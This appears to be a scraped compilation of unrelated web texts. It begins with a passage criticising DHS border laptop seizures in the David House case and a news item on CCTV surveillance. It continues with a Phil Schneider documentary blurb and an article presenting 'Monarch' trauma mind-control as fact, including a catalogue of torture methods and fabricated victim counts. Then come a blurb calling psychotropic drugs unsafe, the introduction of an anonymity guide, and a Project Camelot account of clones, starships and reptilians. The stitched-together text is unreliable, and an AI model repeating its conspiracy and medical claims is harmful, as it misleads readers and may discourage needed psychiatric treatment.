The DOJ demanded dismissal of the lawsuit, citing the cases approving of its power to search without suspicion, and also claimed that House was targeted not because of his political views but because of his connection to the criminal investigation of Manning and WikiLeaks. But the court refused to dismiss House’s lawsuit, holding that if he were indeed targeted by virtue of his protected activities, then his Constitutional rights have been violated:
Before even questioning House, the agents seized his electronic devices and in seizing them for forty-nine days, reviewed, retained, copied and disseminated information about the Support Network. Although the agents may not need to have any particularized suspicion for the initial search and seizure at the border for the purpose of the Fourth Amendment analysis, it does not necessarily follow that the agents, as is alleged in the complaint, may seize personal electronic devices containing expressive materials, target someone for their political association and seize his electronic devices and review the information pertinent to that association and its members and supporters simply because the initial search occurred at the border. . . .
When agents Santiago and Louck stopped House while he was en route to his connecting flight, they directed him to surrender the electronic devices he was carrying. They questioned him for an extended period of time only after seizing his devices. When the agents questioned House, they did not ask him any questions related to border control, customs, trade, immigration, or terrorism and did not suggest that House had broken the law or that his computer may contain illegal material or contraband. Rather, their questions focused solely on his association with Manning, his work for the Support Network, whether he had any connections to WikiLeaks, and whether he had contact with anyone from WikiLeaks during his trip to Mexico. Thus, the complaint alleges that House was not randomly stopped at the border; it alleges that he was stopped and questioned solelyto examine the contents of his laptop that contained expressive material and investigate his association with the Support Network and Manning. . . .
That the initial search and seizure occurred at the border does not strip House of his First Amendment rights, particularly given the allegations in the complaint that he was targeted specifically because of his association with the Support Network and the search of his laptop resulted in the disclosure of the organizations, members, supporters donors as well as internal organization communications that House alleges will deter further participation in and support of the organization. Accordingly, the Defendants’ motion to dismiss House’s First Amendment claim is DENIED. [emphasis added]
As Kevin Gosztola notes in an excellent report on this ruling, the court — although it dubiously found that “the search of House’s laptop and electronic devices is more akin to the search of a suitcase and other closed containers holding personal information travelers carry with them when they cross the border which may be routinely inspected by customs and require no particularized suspicion” – also ruled that the length of time DHS retained House’s laptop (six weeks) may render the search and seizure unreasonable in violation of the Fourth Amendment.
But thus far, very few efforts have been made to restrain this growing government power. More than a year ago, Democratic Rep. Loretta Sanchez described to me legislation she proposed just to impose someminimal rules and safeguards governing what DHS can do at the airport, but it’s gone nowhere. A much stronger bill, proposed by then-Sen. Feingold, would have barred laptop seizures entirely without a search warrant, but it suffered the same fate. Apparently, the Small Government faction calling itself the “Tea Party” has no greater interest in restraining this incredibly invasive government power than the Democratic Party which loves to boast of its commitment to individual rights.
It’s hard to overstate how oppressive it is for the U.S. Government to be able to target journalists, film-makers and activists and, without a shred of suspicion of wrongdoing, learn the most private and intimate details about them and their work: with whom they’re communicating, what is being said, what they’re reading. That’s a radical power for a government to assert in general. When it starts being applied not randomly, but to people engaged in activism and journalism adverse to the government, it becomes worse than radical: it’s the power of intimidation and deterrence against those who would challenge government conduct in any way. The ongoing, and escalating, treatment of Laura Poitras is a testament to how severe that abuse is.
If you’re not somebody who films the devastation wrought by the U.S. on the countries it attacks, or provides insight into Iraqi occupation opponents and bin Laden loyalists in Yemen, or documents expanding NSA activities on U.S. soil, then perhaps you’re unlikely to be subjected to such abuses and therefore perhaps unlikely to care much. As is true for all states that expand and abuse their own powers, that’s what the U.S. Government counts on: that it is sending the message that none of this will affect you as long as you avoid posing any meaningful challenges to what they do. In other words: you can avoid being targeted if you passively acquiesce to what they do and refrain from interfering in it. That’s precisely what makes it so pernicious, and why it’s so imperative to find a way to rein it in.
Surveillance cameras are now so powerful they are able to zoom in and read your text messages – leading to fears of further privacy intrusion by a ‘Big Brother’ style state.
As well as being advanced enough to close in on an individual’s phone screen, security cameras will soon be able to pick up on raised voices and sniff out drugs too.
The revelations were made at a privacy conference in Wellington, New Zealand, where it was also disclosed that the average person is digitally recorded about a dozen times a day.
Worrying: Surveillance cameras are now so powerful they can zoom in to see what people are texting
During last year’s Rugby World Cup in New Zealand CCTV cameras focused in on the crowd of thousands to read the text message someone was sending.
As part of extensive police monitoring during the tournament, camera operators scanned the spectators looking for suspicious looking packages and aggressive behaviour.
They then chose to zoom in on one man who was texting – although it turned out he was simply writing about the poor quality of the rugby match.
Experts warned the fact that the cameras were able to do this raises concerns about breeches of individual’s privacy.
Watch out: Technological advances mean cameras will soon be able to pick up on raised voices and detect smells too
Civil liberties lawyer Michael Bott described the pervasiveness of surveillance as ‘worrying’ and warned of the extent people’s private lives were being intruded upon.
‘It’s quite worrying when we, by default, move to some sort of Orwellian 1984 where the state or Big Brother watches your every move,’ he said.
‘The road to hell is paved with good intentions and we don’t realise what we are giving up when we give the state the power to monitor our private lives.’
However, others argued the camera’s ability to zoom in on texts would be helpful in preventing crimes, including rioting.
The conference also discussed how technological developments meant that soon cameras will be able to pick up on raised voices and sniffing devices will be able to detect drug residue.
Of course, the number of surveillance cameras drastically varies from place to place with exact figures hard to pin down.
Cameras are commonplace on streets, public transport, shopping malls, hospitals and public buildings.
In the decade after the 9/11 attacks the amount of surveillance cameras across the U.S soared by about 30 million.
And figures showed the number of cameras in some areas of Manhattan increased by more than 400 per cent between 1998 and 2005.
Across the pond, Britain is notorious for the high amount of cameras it has with an estimated 2 million across the country.
Phil Schneider died in 1996. Previous to his death he had been on tour across the United States speaking out about various subjects including his involvement with building a secret underground base in Dulce, New Mexico for the military. During this time, he said to have had an encounter with a violent E.T race in the late 1970’s which would change his whole world reality immediately after. This documentary explores some of the information Phil Schneider spoke about to the public in the 1990’s by examining each claim in detail with expert opinions from Richard Dolan, Richard Sauder, Neil Gould and Cynthia Drayer (Phil’s Ex-Wife).
In this documentary you will find never before published photo’s of Phil’s Autopsy, documents about the Philadelphia Experiment from Oscar Schneider’s files (Phil’s father) and a very well explained background about Underground Bases.
“Interviews conducted by Darcy Weir”
“Edited by Darcy Weir”
“Music by Lee Lustig” www.leelustig.bandcamp.com
Monarch Programming is a method of mind control used by numerous organizations for covert purposes. It is a continuation of project MK-ULTRA, a mind-control program developed by the CIA, and tested on the military and civilians. The methods are astonishingly sadistic (its entire purpose is to traumatize the victim) and the expected results are horrifying: The creation of a mind-controlled slave who can be triggered at anytime to perform any action required by the handler. While mass media ignores this issue, over 2 million Americans have gone through the horrors of this program. This article looks at the origins of Monarch programming and some of its methods and symbolism.
NOTE: This article contains disturbing elements and might trigger Monarch survivors.
Monarch programming is a mind-control technique comprising elements of Satanic Ritual Abuse (SRA) and Multiple Personality Disorder (MPD). It utilizes a combination of psychology, neuroscience and occult rituals to create within the slaves an alter persona that can be triggered and programmed by the handlers. Monarch slaves are used by several organizations connected with the world elite in fields such as the military, sex slavery and the entertainment industry. This article will look at the origins of Monarch programming, its techniques and its symbolism.
Origins
Throughout the course of history, several accounts have been recorded describing rituals and practices resembling mind control. One of the earliest writings giving reference to the use of occultism to manipulate the mind can be found in the Egyptian Book of the Dead. It is a compilation of rituals, heavily studied by today’s secret societies, which describes methods of torture and intimidation (to create trauma), the use of potions (drugs) and the casting of spells (hypnotism), ultimately resulting in the total enslavement of the initiate. Other events ascribed to black magic, sorcery and demon possession (where the victim is animated by an outside force) are also ancestors of Monarch programming.
It is, however, during the 20th century that mind control became a science in the modern sense of the term, where thousands of subjects have been systematically observed, documented and experimented on.
One of the first methodical studies on trauma-based mind control were conducted by Josef Mengele, a physician working in Nazi concentration camps. He initially gained notoriety for being one of the SS physicians who supervised the selection of arriving prisoners, determining who was to be killed and who was to become a forced labourer. However, he is mostly known for performing grisly human experiments on camp inmates, including children, for which Mengele was called the “Angel of Death”.
Joseph Mengele, 1935
Mengele is infamous for his sordid human experiments on concentration camps prisoners, especially on twins. A part of his work that is rarely mentioned however, is his research on mind control. Much of his research in this field was confiscated by the Allies and is still classified to this day.
“DR. GREEN (Dr. Joseph Mengele): The most significant programmer, perhaps one could give him the title of the father of Monarch Programming was Joseph Mengele, an ex-Nazi Concentration Camp doctor. Thousands of Monarch mindcontrolled slaves in the U.S. had “Dr. Green” as their chief programmer. “1
“Dr. Joseph Mengele of Auschwitz notoriety was the principle developer of the trauma-based Monarch Project and the CIA’s MK Ultra mind control programs. Mengele and approximately 5, 000 other high ranking Nazis were secretly moved into the United States and South America in the aftermath of World War II in an Operation designated Paperclip. The Nazis continued their work in developing mind control and rocketry technologies in secret underground military bases. The only thing we were told about was the rocketry work with former Nazi star celebrities like Warner Von Braun. The killers, torturers, and mutilators of innocent human beings were kept discretely out of sight, but busy in U.S. underground military facilities which gradually became home to thousands upon thousands of kidnapped American children snatched off the streets (about one million per year) and placed into iron bar cages stacked from floor to ceiling as part of the ‘training’. These children would be used to further refine and perfect Mengele’s mind control technologies. Certain selected children (at least the ones who survived the ‘training’) would become future mind controlled slaves who could be used for thousands of different jobs ranging anywhere from sexual slavery to assassinations. A substantial portion of these children, who were considered expendable, were intentionally slaughtered in front of (and by) the other children in order to traumatize the selected trainee into total compliance and submission 2.
Mengele’s research served as a basis for the covert, illegal CIA human research program named MK-ULTRA.
MK-ULTRA
Declassified MK-Ultra document
Project MK-ULTRA ran from the early 1950s to at least the late 1960s, using American and Canadian citizens as its test subjects. The published evidence indicates that Project MK-ULTRA involved the use of many methodologies to manipulate individual mental states and alter brain functions, including the surreptitious administration of drugs and other chemicals, sensory deprivation, isolation, and verbal and physical abuse.
The most publicized experiments conducted by MK-ULTRA involved the administration of LSD on unwitting human subjects, including CIA employees, military personnel, doctors, other government agents, prostitutes, mentally ill patients, and members of the general public, in order to study their reactions.
However, the scope of MK-ULTRA does not however stop. Experiments involving violent electroshocks, physical and mental torture and abuse were used in a systematic matter on many subjects, including children.
Declassified picture of a young MK-ULTRA subject, 1961.
Although the admitted goals of the projects were to develop torture and interrogation methods to use on the country’s enemies, some historians asserted that the project aimed to create “Manchurian Candidates”, programmed to perform various acts such as assassinations and other covert missions.
MK-ULTRA was brought to light by various commissions in the 1970s, including the Rockefeller Commission of 1975. Although it is claimed that the CIA stopped such experiments after these commissions, some whistle-blowers have come forth stating that the project simply went “underground” and Monarch Programming has become the classified successor of MK-ULTRA.
The most incriminating statement to date made by a government official as to the possible existence of Project MONARCH was extracted by Anton Chaitkin, a writer for the publication The New Federalist. When former CIA Director William Colby was asked directly, “What about monarch?” he replied angrily and ambiguously, “We stopped that between the late 1960s and the early 1970s.” 3.
Monarch Programming
Although there has never been any official admittance of the existence of Monarch programming, prominent researchers have documented the systematic use of trauma on subjects for mind-control purposes. Some survivors, with the help of dedicated therapists, were able to “deprogram” themselves to then go on record and disclose the horrifying details of their ordeals.
Monarch slaves are mainly used by organizations to carry out operations using patsies trained to perform specific tasks, who do not question orders, who do not remember their actions and, if discovered, who automatically commit suicide. They are the perfect scapegoats for high-profile assassinations (see Sirhan Sirhan), the ideal candidates for prostitution, slavery and private movie productions. They are also the perfect puppet performers for the entertainment industry.
“What I can say is I now believe that ritual-abuse programming is widespread, is systematic, is very organized from highly esoteric information which is published no-where, has not been on any book or talk show, that we have found it all around this country and at least one foreign country.
People say, “What’s the purpose of it?” My best guess is that the purpose of it is that they want an army of Manchurian Candidates, ten of thousands of mental robots who will do prostitution, do movies, smuggle narcotics, engage in international arms smuggling, all sorts of very lucrative things, and do their bidding and eventually the megalomaniacs at the top believe they’ll create a Satanic Order that will rule the world”. 4
Monarch programmers cause intense trauma to subjects through the use of electroshock, torture, abuse and mind games in order to force them to dissociate from reality – a natural response in some people when then are faced with unbearable pain. The subject’s ability to dissociate is a major requirement and it is ,apparently, most readily found in children that come from families with multiple generations of abuse. Mental dissociation enables the handlers to create walled-off personas in the subject’s psyche, which can then be programmed and triggered at will.
“Trauma-based mind control programming can be defined as systematic torture that blocks the victim’s capacity for conscious processing (through pain, terror, drugs, illusion, sensory deprivation, sensory over-stimulation, oxygen deprivation, cold, heat, spinning, brain stimulation, and often, near-death), and then employs suggestion and/or classical and operant conditioning (consistent with well-established behavioral modification principles) to implant thoughts, directives, and perceptions in the unconscious mind, often in newly-formed trauma-induced dissociated identities, that force the victim to do, feel, think, or perceive things for the purposes of the programmer. The objective is for the victim to follow directives with no conscious awareness, including execution of acts in clear violation of the victim’s moral principles, spiritual convictions, and volition.
Installation of mind control programming relies on the victim’s capacity to dissociate, which permits the creation of new walled-off personalities to “hold” and “hide” programming. Already dissociative children are prime “candidates” for programming”. 5
Monarch mind control is covertly used by various groups and organizations for various purposes. According to Fritz Springmeier, these groups are known as “The Network” and form the backbone of the New World Order.
ORIGINS OF THE NAME
Monarch mind control is named after the Monarch butterfly – an insect who begins its life as a worm (representing undeveloped potential) and, after a period of cocooning (programming) is reborn as a beautiful butterflies (the Monarch slave). Some characteristics specific to the Monarch butterfly are also applicable to mind control.
“One of the primary reasons that the Monarch mind-control programming was named Monarch programming was because of the Monarch butterfly. The Monarch butterfly learns where it was born (its roots) and it passes this knowledge via genetics on to its offspring (from generation to generation). This was one of the key animals that tipped scientists off, that knowledge can be passed genetically. The Monarch program is based upon Illuminati and Nazi goals to create a Master race in part through genetics. If knowledge can be passed genetically (which it is), then it is important that parents be found that can pass the correct knowledge onto those victims selected for the Monarch mind control.” 6
“When a person is undergoing trauma induced by electroshock, a feeling of light-headedness is evidenced; as if one is floating or fluttering like a butterfly. There is also a symbolic representation pertaining to the transformation or metamorphosis of this beautiful insect: from a caterpillar to a cocoon (dormancy, inactivity), to a butterfly (new creation) which will return to its point of origin. Such is the migratory pattern that makes this species unique.” 7
METHOD
The victim/survivor is called a “slave” by the programmer/handler, who in turn is perceived as “master” or “god.” About 75% are female, since they possess a higher tolerance for pain and tend to dissociate more easily than males. Monarch handlers seek the compartmentalization of their subject’s psyche in multiple and separate alter personas using trauma to cause dissociation.
The following is a partial list of these forms of torture:
1. Abuse and torture
2. Confinement in boxes, cages, coffins, etc, or burial (often with an opening or air-tube for oxygen)
3. Restraint with ropes, chains, cuffs, etc.
4. Near-drowning
5. Extremes of heat and cold, including submersion in ice water and burning chemicals
6. Skinning (only top layers of the skin are removed in victims intended to survive)
7. Spinning
8. Blinding light
9. Electric shock
10. Forced ingestion of offensive body fluids and matter, such as blood, urine, feces, flesh, etc.
11. Hung in painful positions or upside down
12. Hunger and thirst
13. Sleep deprivation
14 Compression with weights and devices
15. Sensory deprivation
16. Drugs to create illusion, confusion, and amnesia, often given by injection or intravenously
17. Ingestion or intravenous toxic chemicals to create pain or illness, including chemotherapy agents
18. Limbs pulled or dislocated
19. Application of snakes, spiders, maggots, rats, and other animals to induce fear and disgust
20. Near-death experiences, commonly asphyxiation by choking or drowning, with immediate resuscitation
22. Forced to perform or witness abuse, torture and sacrifice of people and animals, usually with knives
23. Forced participation in slavery
24. Abuse to become pregnant; the fetus is then aborted for ritual use, or the baby is taken for sacrifice or enslavement
25. Spiritual abuse to cause victim to feel possessed, harassed, and controlled internally by spirits or demons
26. Desecration of Judeo-Christian beliefs and forms of worship; dedication to Satan or other deities
27. Abuse and illusion to convince victims that God is evil, such as convincing a child that God has abused her
28. Surgery to torture, experiment, or cause the perception of physical or spiritual bombs or implants
29. Harm or threats of harm to family, friends, loved ones, pets, and other victims, to force compliance
30. Use of illusion and virtual reality to confuse and create non-credible disclosure 8.
“The basis for the success of the Monarch mind-control programming is that different personalities or personality parts called alters can be created who do not know each other, but who can take the body at different times. The amnesia walls that are built by traumas, form a protective shield of secrecy that protects the abusers from being found out, and prevents the front personalities who hold the body much of the time to know how their System of alters is being used. The shield of secrecy allows cult members to live and work around other people and remain totally undetected. The front alters can be wonderful Christians, and the deeper alters can be the worst type of Satanic monster imaginable–a Dr. Jekyll/Mr. Hyde effect. A great deal is at stake in maintaining the secrecy of the intelligence agency or the occult group which is controlling the slave. The success rate of this type of programming is high but when it fails, the failures are discarded through death. Each trauma and torture serves a purpose. A great deal of experimentation and research went into finding out what can and can’t be done. Charts were made showing how much torture a given body weight at a given age can handle without death.” 9
“Due to the severe trauma induced through ECT, abuse and other methods, the mind splits off into alternate personalities from the core. Formerly referred to as Multiple Personality Disorder, it is presently recognized as Dissociative Identity Disorder and is the basis for MONARCH programming. Further conditioning of the victim’s mind is enhanced through hypnotism, double-bind coercion, pleasure-pain reversals, food, water, sleep and sensory deprivation, along with various drugs which alter certain cerebral functions”. 10
Dissociation is thus achieved by traumatizing the subject, using systematic abuse and using terrifying occult rituals. Once a split in the core personality occurs, an “internal world” can be created and alter personas can be programmed using tools such as music, movies (especially Disney productions) and fairy tales. These visual and audio aids enhance the programming process using images, symbols, meanings and concepts. Created alters can then be accessed using trigger words or symbols programmed into the subject’s psyche by the handler. Some of the most common internal images seen by mind control slaves are trees, Cabalistic Tree of life, infinity loops, ancient symbols and letters, spider webs, mirrors, glass shattering, masks, castles, mazes, demons, butterflies, hour glasses, clocks and robots. These symbols are commonly inserted in popular culture movies and videos for two reasons: to desensitize the majority of the population, using subliminals and neuro-linguistic programming and to deliberately construct specific triggers and keys for base programming of highly-impressionable MONARCH children. 11 Some of the movies used in Monarch programming include The Wizard of Oz, Alice in Wonderland, Pinocchio and Sleeping Beauty .
The movie The Wizard of Oz is used by Monarch handlers to program their slaves. Symbols and meanings in the movie become triggers in the slave’s mind enabling easy access to the slave’s mind by the handler. In popular culture, veiled references to Monarch programming often use analogies to The Wizard of Ozand Alice in Wonderland.
In each case, the slave is given a particular interpretation of the movie’s storyline in order to enhance programming. For example, a slave watching The Wizard of Oz is taught that “somewhere over the rainbow” is the “happy place” dissociative trauma slaves must go to in order to escape the unbearable pain being inflicted upon them. Using the movie, programmers encourage slaves to go “over the rainbow” and dissociate, effectively separating their minds from their bodies.
“As mentioned before, the hypnotist will find children easier to hypnotize if they know how to do it with small children. One method that is effective is to say to the small children, “Imagine you are watching a favorite television show.” This is why the Disney movies and the other shows are so important to the programmers. They are the perfect hypnotic tool to get the child’s mind to dissociate in the right direction. The programmers have been using movies since almost day one to help children learn the hypnotic scripts. For children they need to be part of the hypnotic process. If the hypnotist allows the child to make up his own imagery, the hypnotic suggestions will be stronger. Rather than telling the child the color of a dog, the programmer can ask the child. This is where the books and films shown the child assist in steering its mind in the right direction. If the hypnotist talks to a child, he must take extra precaution not to change the tone of his voice and to have smooth transitions. Most of the Disney films are used for programming purposes. Some of them are specifically designed for mind-control.” 12
LEVELS OF MONARCH PROGRAMMING
The levels of Monarch Programming identify the slave’s “functions” and are named after the Electroencephalography (EEG) brainwaves associated with them.
Types of brain waves in EEG
Monitoring brain waves through the scalp
Regarded as “general” or regular programming, ALPHA is within the base control personality. It characterized by extremely pronounced memory retention, along with substantially increased physical strength and visual acuity. Alpha programming is accomplished through deliberately subdividing the victims personality which, in essence, causes a left brain-right brain division, allowing for a programmed union of Left and Right through neuron pathway stimulation.
BETA is referred to as “sexual” programming (slaves). This programming eliminates all learned moral convictions and stimulates the primitive instinct, devoid of inhibitions. “Cat” alters may come out at this level. Known as Kitten programming, it is the most visible kind of programming as some female celebrities, models, actresses and singers have been subjected to this kind of programming. In popular culture, clothing with feline prints often denote Kitten programming.
DELTA is known as “killer” programming and was originally developed for training special agents or elite soldiers (i.e. Delta Force, First Earth Battalion, Mossad, etc.) in covert operations. Optimal adrenal output and controlled aggression is evident. Subjects are devoid of fear and very systematic in carrying out their assignment. Self-destruct or suicide instructions are layered in at this level.
THETA – Considered to the “psychic” programming. Bloodliners (those coming from multi-generational Satanic families) were determined to exhibit a greater propensity for having telepathic abilities than did non-bloodliners. Due to its evident limitations, however, various forms of electronic mind control systems were developed and introduced, namely, bio-medical human telemetry devices (brain implants), directed-energy lasers using microwaves and/or electromagnetics. It is reported these are used in conjunction with highly-advanced computers and sophisticated satellite tracking systems. 13
In Conclusion
It is difficult to remain objective when describing the horrors endured by Monarch slaves. The extreme violence, the abuse, the mental torture and sadistic games inflicted on victims by “notable scientists” and high-level officials prove the existence of a true “dark side” in the powers that be. Despite the revelations, the documents and the whistle-blowers, a great majority of the population ignores, dismisses or avoids the issue altogether. Over two million Americans have been programmed by trauma mind-control since 1947 and the CIA publicly admitted its mind control projects in 1970. Movies such as The Manchurian Candidate have directly referred to the subject, even depicting actual techniques, such as electroshock, the use of trigger words and microchip implementation. Several public figures we see on our TV and movie screens are mind control slaves. Famous people such as Candy Jones, Celia Imrie and Sirhan Sirhan have gone on record and disclosed their mind control experiences…and yet the general public claims that it “cannot exist”.
The research and funds invested in project Monarch do not however only apply to mind control slaves. Many of the programming techniques perfected in these experiments are applied on a mass scale through mass media. Mainstream news, movies, music videos, advertisements and television shows are conceived using the most advanced data on human behavior ever compiled. A lot of this comes from Monarch programming.
Fritz Springmeier, The Illuminati Formula to Create a Mind Control Slave ↩
This video provides the facts about psychotropic drugs and the huge profits they create for the pharmaceutical industry. These drugs are not safe and have not been on the market long enough to provide sufficient long term studies regarding their effects. These drugs do cause addiction, however most “doctors” would call this dependence because you do not have to take an increasing dose over time. They are completely fine with you being addicted to the same amount of any given drug on a daily basis. Over half of the people that commit suicide in the United States are prescribed to psychotropic drugs. (Ex: Paxil (Paroxetine), Zoloft (Sertraline), Prozac, Wellbutrin (Bupropion), Effexor, Seroquil, Ultram (Tramadol), etc.)
This is a guide with which even a total noob can get high class security for his system and complete anonymity online. But its not only for noobs, it contains a lot of tips most people will find pretty helpfull. It is explained so detailed even the biggest noobs can do it^^ :
=== The Ultimate Guide for Anonymous and Secure Internet Usage v1.0.1 ===
By the time you are finished reading and implementing this guide, you will be able to securely and anonymously browse any website and to do so anonymously. No one not even your ISP or a government agent will be able to see what you are doing online. If privacy and anonymity is important to you, then you owe it to yourself to follow the instructions that are presented here.
In order to prepare this guide for you, I have used a computer that is running Windows Vista. This guide will work equally well for other versions of Windows. If you use a different operating system, you may need to have someone fluent in that operating system guide you through this process. However, most parts of the process are easily duplicated in other operating systems.
I have written this guide to be as newbie friendly as possible. Every step is fully detailed and explained. I have tried to keep instructions explicit as possible. This way, so long as you patiently follow each step, you will be just fine.
In this guide from time to time you will be instructed to go to certain URLs to download files. You do NOT need TOR to get these files, and using TOR (while possible) will make these downloads very slow.
This guide may appear overwhelming. Every single step is explained thoroughly and it is just a matter of following along until you are done. Once you are finished, you will have a very secure setup and it will be well worth the effort. Even though the guide appears huge, this whole process should take at the most a few hours. You can finish it in phases over the course of several days.
It is highly recommended that you close *ALL* applications running on your computer before starting.
What follows was sent to me by Michael Prince aka James Casbolt. I cannot confirm or substantiate this information at this time but publish it with the proviso to let the viewer decide…
Kerry Lynn Cassidy
Project Camelot
Janary 29, 2012
SECTION TWO
Life Extension- The Chronicles of Michael Prince
by James Michael Casbolt 1992 Sirius Sector
I am not fully conscious at this time when I’m physically on this planet. Part of my consciousness is trapped within a quantum computer system on board my space vessel named the USS CALOPIA. This vessel orbits whatever planet I’m on at the time. This vessel is a UN/US Space Command vessel. The technology on board actually causes the vessel to physically follow me around the galaxy using stargates to travel vast distances. During the compartmentalizing torture sessions at the Hive in South Africa and the London underground facility, my consciousness has been leaving my body and entering a physical cloned body in vat stasis on board the USS Calopia.
The computer system on board this vessel monitors the vital signs of these cloned copies of my body. When life signs are detected within the cloning vat, the computer system sends mechanical servitors to take me to a an emergency medical bay until I am physically recovered and can walk around the ship in a stable condition. My physical body down on the planet during these times is always inhabited by my MIRROR ENTITY. At the breaking point of maximum pain levels… when I ‘pass-out’ my consciousness leaves my physical body in the underground base or wherever and wakes up in the cloned body on board the USS Calopia. When I recover and leave the medical bay on the Calopia, I always enter a specific room where I can monitor my physical body down on the planet. I can also monitor the vital life signs of the body on the planet. This process involves looking through physical cybernetic implants within the eyes. I am also able to operate the computer system on board the ship and bounce the signal off walls to look at the body from a remote location as well viewing through the eyes.
There is always a time limit that the Mirror Entity can take possession of my body down on the planet. The computer system on board the USS Calopia will always give me a warning five minutes before the Mirror Entity departs my body. This physical body will then shapeshift back into a human form when my consciousness enters back into it. The computer system flashes symbols on one of the screens at this time and a digital voice will say-
“Five minutes to genetic molecule alignment”
At this point I will walk out of this particular room on board the ship and enter a room down the corridor to the right hand side. In this room a vertical body pod called a ‘Ventricle Duct’ is positioned at the far end of the room. I will step into the pod with my back facing the wall. A plastic screen will close in front of me and the pod will tip back slightly. The pod will then fill up with liquid that I can breath and I will slowly and gently fall asleep and wake up again in my body down on the planet. This technology assists me in dealing with intense/prolonged pain and terror.
However at this time in 1992 I do not have conscious control over all the technology on board the USS Calopia. I also have a slightly schizophrenic relationship with the computer on board the vessel. At times of acute distress the computer and I talk back and forth. I.E- at the time I was ‘drowned’ in the ‘well’ at the Sirius prison facility, at the moment of greatest terror for me, I heard the computer system on board the USS Calopia inside my head, saying something like-“Regulation 301- Assist in binary xxxx ( numbers I can’t remember ) teleportation? Assist in binary xxxx teleportation?”
The ‘Assist in binary teleportation’ would be repeated with an increased sense of urgency tone of urgency until I felt like my lungs were going to explode. Just at the point of lung rupture taking place, I saw the Kabballa formation in my mind’s eye. I had a split second to choose between two of circles lit up. One green in colour, the other red in colour.
Green= I leave my body ( less risk )
Red= I stay in my body ( more risk )
I choose red at this time, stay in my body and I actually start to breath underwater through some kind of cybernetic breathing mechanism inside my body initiating at this time. The ultimate goal is to stay in the body and gain fully conscious control over all the technology on board the USS Calopia. Some of the hardware and software on board is ancient. Basically I need to switch the AI section of the computer on board off. At this time my brain will become ‘quiet’ and the internal dialogue that takes place inside my head between myself and the computer, will stop.-The scepter artifact I was handed by the ‘Jesuit/Reptilian’ priests after the drowning was a missing piece from the computer on board my ship. I was able to stay in my body during the drowning and therefore realize my physically indestructible nature. However the artifact was ultimately placed within a container inside the Emerald Room at this time, with the female and male reptilians inside. Because of this the female and male reptilians in the Emerald Room own a piece of my mind at this time in 1992.
Now because I was able to resist teleporting my consciousness onto the USS Calopia during a time of intense stress, I have moved one step closer to mastering this technology. Now at times of intense stress when the internal communication between myself and the computer system on the Calopia starts, I can instruct the whole vessel to physically teleport near to my location and send mechanical servitors into the place where I am distressed and physically rescue me. This way I end up physically on board the USS Calopia without having to leave my body. The trick to mastering all this technology is to stay in one physical body and not ‘body hop’ from one physical container to another.
Eventually the objective was to liberate this artifact from the Emerald Room and return it back to my ship. When events such as this happen, in times of danger, there will be no internal dialogue between myself and the computer on the Calopia. The artifact will be physically teleported to me from the ship and I will have complete mastery of my environment enabling me to come out of any dangerous situation safely. I can say at this time, I have claimed the artifact from the two reptilians and I have complete control over the Emerald Room they occupied in the past. I am approaching a state where I will actually be able to incorporate the artifact into my cybernetic body. At that time I will not have to wait for the time delay while the device is teleported from the USS Calopia to me. I will not have to rely on the USS Calopia at all and will have full conscious control over the technology. It is not a matter of if this happens but a matter of when.
1992- D4 facility- Sirius Sector
A door opens at the back of the Emerald Room. I exit the Emerald Room with the male and female reptilians in it and walk into a corridor. I am met by two human guards and I instinctively walk down the corridor behind them. Doors are located on either side of the corridor and some are open as I walk past them. I glance into a room on the left and see tall grey types working on some kind of crystal based computers. I glance to the right as I’m walking and see larger rooms with short grey types working on larger computers with conveyer belt type apparatus at the back of the rooms. I see box shaped objects on the conveyer belts and parts of exo-skeleton robotics such as mechanical arms and such.
A pair of tall grey overseers exits one of the rooms on the right and follow behind me. One of the greys creates a telepathic link between itself to the back of my head and a data exchange starts to take place as we walk. I see the layout and design on the whole facility.
The place is designed exactly like the Pentagon building in Virginia. This Sirius facility has five ring corridors within each other ( pentagons within pentagons ). Each of the five sections houses a separate extra-terrestrial race. Prisoners considered most dangerous by the ruling elite of each race work with scientists of the same race during their incarceration periods. This facility rests on a flat terra-formed seabed under the ocean of this planet to prevent escape. The facility is considered impossible to escape from as previously mentioned. The whole facility is able to detach itself from the seabed in times of emergency, emerge from the water and become airbourne/spacebourne.
The five types of lifeforms in each section of this facility are as follows:
5th Outer Ring- ‘Cat-People’ Bipedal cat type creatures based all over the galaxy but high numbers of these beings located in Sirius Star Sector.
4th Inner Ring- ‘Bird-People’ Bipedal bird type creatures based all over the galaxy but high numbers located in Orion and Draco Star Sectors.
3rd Inner Ring – ‘Wolf-People’ Bipedal canine type creatures based all over the galaxy but high numbers in Sirius Star Sector.
2nd Inner Ring- Humans.
1st Inner Ring- ‘Reptile-People’ Bipedal reptile type creatures based all over the galaxy but high numbers in Draco and Sirius Star Sector ( classic reptilian and grey types ).
A large space exists within the centre of the facility similar to the Pentagon building in Virginia but in the centre of this building is a huge five sided pyramid structure that protrudes out the top. Some type of antenna/teleportation device is located in the direct centre of the five sided pyramid. The data download continues to happen as we walk further down the corridor and I see that this reptilian section of the facility operates in a type of factory setting and the beings within operate in a very collective fashion. The entire facility operates in this way but it is most extreme here. I also see that ultimately the entire facility is run by AI at this time, which oversees most of the activity within the facility.
I see that the AI has been extensively involved in cognitive behaviour tests here. This has been to determine which of the five base races has the highest survival dynamic. These ‘survival of the fittest’ AI tests has been carried out separately on each race. The AI computer system has then mixed the races together in general population on several occasions. The strongest of each race have then been housed together for a continuation of these tests. Where I am being led now is part of the final series of testing in this area.
We continue to walk down and corridor and enter a lift at the end. All five of us get in and descend. The elevator doors open into an absolutely massive room with five walkways converging in the centre. The room is quite dark and very silent. I look up and see the huge five-sided pyramid structure above me built with a type of dark glass. We walk along our walkway towards the centre of the structure. It takes a long time and with every step I feel an awesome power building in my body. After walking for awhile I see on object in the distance. As we get closer I see a familiar trip seat type device. We get to the device and I get in the seat while the two human guards strap me into the chair.
Once this is complete, the two human guards and two greys walk away back in the direction of the lift. I sit in the dark silent massive room for a awhile and wait. I feel completely calm. I hear loud mechanical rumblings around me and five massive square mirrors extend out of the ground to form a pentagon shaped prism around me. My form sitting in the seat is reflected around me in many strange ways. My reflection seems to go on forever. I then see five faces appear on each mirror. They seem to be reflected backwards to how the facility is set-up I.E- A massive reptile face appears in this gigantic mirror to my left, the seat then rotates to the right and I see a huge wolf face, rotate to the right again and I see a huge bird-face, rotate right again I see a huge cat-face. The chair rotates slowly again and I see a huge human face. The face is Commander Sarion who may be my father. The chair then rotates to its original position and sinks into the floor where mechanical locks clamp the chair into a more secure position.
